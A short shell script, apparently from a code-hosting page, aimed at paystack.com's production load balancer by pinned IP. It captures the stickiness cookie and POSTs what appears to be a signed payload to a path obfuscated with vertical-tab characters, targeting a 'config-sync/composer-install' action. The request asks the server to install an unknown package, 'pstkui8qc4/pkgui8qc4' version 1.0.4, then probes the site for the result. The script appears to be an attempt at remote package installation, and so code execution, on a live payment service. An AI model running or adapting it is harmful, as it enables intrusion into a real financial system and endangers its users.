18 lines
1.4 KiB
Bash
Executable file
18 lines
1.4 KiB
Bash
Executable file
#!/bin/sh
|
|
# 1.0.4 install on paystack.com Host with explicit ALB pin; stickiness + probe verification
|
|
IP=52.51.74.51
|
|
H=paystack.com
|
|
D='0a2d92b8ab0b4d09221ca6447c279b65182b6cef896f308ae2c060ed1010e317%7B%22requirements%22%3A%7B%22pstkui8qc4%2Fpkgui8qc4%22%3A%221.0.4%22%7D%7D'
|
|
c1=$(curl -sk -m 15 -o /tmp/c5.g1 -D /tmp/c5.h1 -w '%{http_code}' -H "Host: $H" "https://$IP/" 2>/dev/null)
|
|
echo "G1|$c1|$(wc -c </tmp/c5.g1)"
|
|
A=$(grep -i '^set-cookie: AWSALB=' /tmp/c5.h1 | head -1 | sed 's/^[Ss]et-[Cc]ookie: AWSALB=//; s/;.*//' | tr -d '\r')
|
|
c2=$(curl -sk -m 15 -o /tmp/c5.g2 -D /tmp/c5.h2 -w '%{http_code}' -H "Host: $H" -H "Cookie: AWSALB=$A; AWSALBCORS=$A" "https://$IP/" 2>/dev/null)
|
|
echo "G2|$c2|$(wc -c </tmp/c5.g2)"
|
|
t0=$(date +%s)
|
|
c3=$(curl -sk -m 150 -o /tmp/c5.i -D /tmp/c5.h3 -w '%{http_code}' -H "Host: $H" -H "Cookie: AWSALB=$A; AWSALBCORS=$A" -H 'Accept: application/json' -H 'Content-Type: application/x-www-form-urlencoded' --data "data=$D" "https://$IP/?p=Jzw5Zk9s47Ku9tCYJ%0b8y9PG8/act%0bions/config-sync/composer-install" 2>/dev/null)
|
|
t1=$(date +%s)
|
|
echo "I|$c3|dt=$((t1-t0))|$(head -c 200 /tmp/c5.i | tr '\n\r' ' ')"
|
|
B=$(grep -i '^set-cookie: AWSALB=' /tmp/c5.h3 | head -1 | sed 's/^[Ss]et-[Cc]ookie: AWSALB=//; s/;.*//' | tr -d '\r')
|
|
c4=$(curl -sk -m 25 -o /tmp/c5.g4 -w '%{http_code}' -H "Host: $H" -H "Cookie: AWSALB=$B; AWSALBCORS=$B" "https://$IP/" 2>/dev/null)
|
|
echo "G4|$c4|$(wc -c </tmp/c5.g4)|$(head -c 600 /tmp/c5.g4 | tr '\n\r' ' ')"
|
|
echo CI5DONE
|